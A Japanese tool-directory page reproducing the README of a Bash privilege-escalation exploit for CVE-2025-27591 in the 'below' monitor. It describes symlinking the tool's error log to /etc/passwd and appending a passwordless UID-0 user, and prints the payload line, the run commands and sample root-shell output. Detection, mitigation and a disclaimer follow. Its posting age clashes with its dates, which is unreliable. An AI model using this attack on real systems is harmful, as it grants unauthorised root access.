Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Below-Logger-Symlink-Attack_CVE-2025-27591 — Bashベースの特権昇格エクスプロイトで、`below`システムパフォーマンス監視ツールを標的にしたものです。この改良版エクスプロイトは、ログメカニズムにおけるシンボリックリンクの脆弱性を利用して`/etc/passwd`にrootユーザーを注入し、完全なrootアクセスを達成します。 | Kitploit
ツール/GitHubGitHub/0xdtc/below-logger-symlink-attack_cve-2025-27591
特権昇格脆弱性分析エクスプロイトペネトレーションテスト学習と教育バイナリエクスプロイト
GitHub0xdtc/below-logger-symlink-attack_cve-2025-27591

Below-Logger-Symlink-Attack_CVE-2025-27591

Bashベースの特権昇格エクスプロイトで、`below`システムパフォーマンス監視ツールを標的にしたものです。この改良版エクスプロイトは、ログメカニズムにおけるシンボリックリンクの脆弱性を利用して`/etc/passwd`にrootユーザーを注入し、完全なrootアクセスを達成します。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
29ヶ月前未レビュー

Buy me a knowledge

CVE-2025-27591 エクスプロイト - Below Logger シンボリックリンク攻撃

below システムパフォーマンス監視ツールを標的とした Bash ベースの権限昇格エクスプロイトです。この改良版エクスプロイトは、ログ機構のシンボリックリンク脆弱性を悪用し、/etc/passwd に root ユーザーを注入することで、完全な root アクセスを獲得します。

Credits

発見および報告者:Matthias Gerstner(SUSE - Security Advisory)

脆弱性詳細

  • CVE: CVE-2025-27591
  • 影響を受けるコンポーネント: /usr/bin/below(Facebook のシステムパフォーマンスモニター)
  • 影響を受けるバージョン: ワールドワライト可能なログディレクトリを持つ below のバージョン
  • 脆弱性タイプ: シンボリックリンク攻撃 / 権限昇格
  • 攻撃ベクトル: /var/log/below/error_root.log → /etc/passwd
  • CVSS スコア: 高(Root への権限昇格)

概要

below 監視ツールは、昇格された権限で動作する際に /var/log/below/error_root.log にエラーを記録します。ログディレクトリがワールドワライト可能である場合、攻撃者は以下を実行できます:

  1. error_root.log から /etc/passwd へのシンボリックリンクを作成する
  2. below record コマンドを実行してエラーメッセージをシンボリックリンクに書き込ませる
  3. UID=0(root 権限)を持つ悪意のあるユーザーエントリを手動で注入する
  4. 新しく作成したユーザーを使用して root シェルを起動する

このエクスプロイトは、様々なシステム構成に対応するインテリジェントなフォールバック機構を備え、プロセス全体を自動化します。

エクスプロイトフロー図

root@kitploit:~
flowchart TD
    A[エクスプロイト開始] --> B[ユーザーからユーザー名を取得]
    B --> C{/var/log/below が<br/>ワールドワライト?}
    C -->|いいえ| D[終了: 脆弱性なし]
    C -->|はい| E[既存の error_root.log を削除]
    E --> F[シンボリックリンク作成:<br/>error_root.log → /etc/passwd]
    F --> G{シンボリックリンク作成<br/>成功?}
    G -->|いいえ| D
    G -->|はい| H[実行: sudo below record]
    H --> I[3秒待機してログを記録]
    I --> J[below プロセスを強制終了]
    J --> K{ペイロードが<br/>/etc/passwd に存在?}
    K -->|はい| M[成功パス]
    K -->|いいえ| L[手動注入を試行:<br/>echo payload >> symlink]
    L --> N{手動注入<br/>成功?}
    N -->|いいえ| O[フォールバックを試行:<br/>sudo tee -a]
    N -->|はい| M
    O --> P{フォールバック<br/>成功?}
    P -->|いいえ| D
    P -->|はい| M
    M --> Q[/etc/passwd 内のペイロードを検証]
    Q --> R[クリーンアップトラップを無効化]
    R --> S[実行: su username]
    S --> T[Root シェル獲得]

    style A fill:#e1f5ff
    style T fill:#90EE90
    style D fill:#ffcccb
    style M fill:#98fb98

技術的詳細

エクスプロイト手順

  1. 事前確認フェーズ

    • /var/log/below ディレクトリが存在するか確認
    • ディレクトリにワールドワライト権限 (o+w) があるか確認
    • シンボリックリンク作成機能をテスト
  2. セットアップフェーズ

    • 既存の error_root.log ファイルを削除
    • シンボリックリンクを作成: /var/log/below/error_root.log → /etc/passwd
    • シンボリックリンクが正しいターゲットを指しているか確認
  3. 注入フェーズ(主方式)

    • バックグラウンドで sudo below record を実行
    • プロセスを3秒間実行し、エラーログをトリガー
    • プロセスを強制終了し、継続的なログ記録を防ぐ
    • エラーメッセージが /etc/passwd を有用な形で破損したか確認
  4. 注入フェーズ(フォールバック方式)

    • 方式1: シンボリックリンク経由で直接追記(echo >> symlink)
    • 方式2: sudo と tee を使用(sudo tee -a)
  5. シェル起動フェーズ

    • /etc/passwd に悪意のあるユーザーが存在するか確認
    • クリーンアップトラップを無効化し、削除を防止
    • su <username> を実行して root シェルを獲得

ペイロード構造

注入される /etc/passwd エントリの形式は以下の通りです。

root@kitploit:~
username::0:0:username:/root:/bin/bash

フィールド内訳:

  • username: ユーザー指定のユーザー名(デフォルト: "0xdtc")
  • ::: 空のパスワードフィールド(パスワード不要)
  • 0:0: UID=0, GID=0(root 権限)
  • username: GECOS フィールド(ユーザー説明)
  • /root: ホームディレクトリ
  • /bin/bash: ログインシェル

前提条件

  • 脆弱な below バイナリが動作しているターゲットシステム
  • /var/log/below ディレクトリがワールドワライト可能であること
  • ユーザーが below record を実行するための sudo アクセス権限を持っていること
  • Bash シェル環境

使用方法

基本的な実行方法

root@kitploit:~
# スクリプトを実行可能にする
chmod +x CVE-2025-27591

# エクスプロイトを実行
./CVE-2025-27591

対話型プロンプト

root@kitploit:~
========================================
  CVE-2025-27591 Exploit (Bash)
========================================

[*] このエクスプロイトは /etc/passwd に新しい root ユーザーを作成します
[?] 新しい root ユーザーのユーザー名を入力してください(デフォルト: 0xdtc): myuser
[+] ユーザー名を使用: myuser

出力例

root@kitploit:~
0xdtc@kali:/tmp$ ./CVE-2025-27591
========================================
  CVE-2025-27591 Exploit (Bash)
========================================

[*] このエクスプロイトは /etc/passwd に新しい root ユーザーを作成します
[?] 新しい root ユーザーのユーザー名を入力してください(デフォルト: 0xdtc): 0xdtc
[+] ユーザー名を使用: 0xdtc

[*] CVE-2025-27591 の脆弱性を確認中
[+] /var/log/below はワールドワライト可能です
[*] シンボリックリンク作成をテスト中
[+] シンボリックリンクテスト成功
[+] ターゲットは脆弱です

[*] エクスプロイトを開始
[+] ペイロードを /tmp/exploit_payload に書き込みました
[*] シンボリックリンクを作成: /var/log/below/error_root.log -> /etc/passwd
[+] シンボリックリンク作成
[*] ログ記録をトリガーするために 'sudo below record' を実行
[*] PID 12345 で 'below record' を開始
[*] ペイロードが書き込まれたか確認中
[*] 手動注入を試行
[*] シンボリックリンク経由で /etc/passwd にペイロードを追記
[+] ペイロードを追記
[+] エクスプロイト完了!ペイロードは /etc/passwd にあります
[*] 'su 0xdtc' で root シェルを起動
[*] パスワードは空のはずです。Enter キーを押してください

root@kali:/tmp# whoami
root

機能

インテリジェントなブロッカー処理

スクリプトには、様々なシステム構成に対応する複数のフォールバック機構が含まれています。

  1. 既存ファイルの処理

    • 既存のログファイルを自動的に検出して削除
    • 通常ファイルと既存のシンボリックリンクの両方を処理
    • 処理前にシンボリックリンクのターゲットを検証
  2. 複数の注入方式

    • 主方式: below record のエラーログをトリガー
    • フォールバック1: シンボリックリンクへの直接追記
    • フォールバック2: sudo tee を使用した特権書き込み
  3. プロセス管理

    • ハングした below プロセスを自動的に強制終了
    • リソース枯渇を防止
    • 失敗時のプロスクリーニングを処理
  4. 再実行検出

    • /etc/passwd にペイロードが既に存在するか確認
    • ユーザーが既に作成されている場合はエクスプロイトをスキップ
    • 再実行時に直接シェルを起動

コード品質の特徴

  • 包括的なコメント: すべての関数と重要な手順が文書化されています
  • セクションヘッダー: コードが論理的なセクションに整理されています
  • エラーハンドリング: 適切なエラーチェックとユーザーフィードバック
  • クリーンな終了: 失敗時に優雅にクリーンアップを行うためのトラップハンドラー
  • 最小限の依存関係: 標準的な Unix ツールを使用した純粋な Bash

ファイル構造

root@kitploit:~
.
├── CVE-2025-27591           # メインエクスプロイトスクリプト
├── README.md           # このドキュメント
└── /tmp/exploit_payload # 一時ペイロードファイル(実行時に作成)

検証

エクスプロイト成功後、root アクセスを確認します。

root@kitploit:~
# 現在のユーザーを確認
root@target:/tmp# whoami
root

# ユーザーIDとグループを確認
root@target:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

# /etc/passwd 内のユーザーを確認
root@target:/tmp# grep "^0xdtc:" /etc/passwd
0xdtc::0:0:0xdtc:/root:/bin/bash

# root のみ読み取り可能なファイルを表示
root@target:/tmp# cat /etc/shadow
[... shadow ファイルの内容 ...]

クリーンアップ

テスト後に悪意のあるユーザーを削除する必要がある場合:

root@kitploit:~
# /etc/passwd から注入したユーザーを削除
sudo sed -i '/^username:/d' /etc/passwd

# 残ったシンボリックリンクを削除
rm -f /var/log/below/error_root.log

username はエクスプロイト時に使用した実際のユーザー名に置き換えてください。

検出と緩和策

検出方法

  1. ファイル整合性監視

    root@kitploit:~
    # /etc/passwd への不正な変更を監視
    aide --check
    
  2. シンボリックリンク検出

    root@kitploit:~
    # ログディレクトリ内の不審なシンボリックリンクを確認
    find /var/log -type l -ls
    
  3. 監査ログ

    root@kitploit:~
    # 不審な sudo 使用状況を確認
    grep "below record" /var/log/auth.log
    

緩和策

  1. ディレクトリ権限の修正

    root@kitploit:~
    # ログディレクトリからワールドワライト権限を削除
    sudo chmod 755 /var/log/below
    
  2. AppArmor/SELinux ポリシー

    • 必須アクセス制御を実装
    • below バイナリのファイル書き込み場所を制限
  3. Below の更新

    • Facebook/Meta からのセキュリティパッチを適用
    • パッケージマネージャーのアップデートを使用
  4. /etc/passwd の監視

    • ファイル整合性監視(AIDE、Tripwire)を設定
    • UID=0 のユーザー追加時にアラート

法的免責事項

このエクスプロイトは教育目的および許可されたペネトレーションテスト専用です。

コンピュータシステムへの不正アクセスは違法です。このツールは、セキュリティテストの実施について明示的な許可があるシステムでのみ使用してください。著者は、このツールの誤用に対していかなる責任も負いません。

このエクスプロイトを使用することにより、以下のことを確認したものとみなされます。

  • ターゲットシステムをテストする適切な許可を有していること
  • 該当する法律および規制を理解していること
  • 自身の行動に対して全責任を負うこと

Repository: https://github.com/0xDTC/ Author: Divine Clown (0xDTC) License: Educational Use Only 最終更新日: 2025-11-13

ツールをダウンロード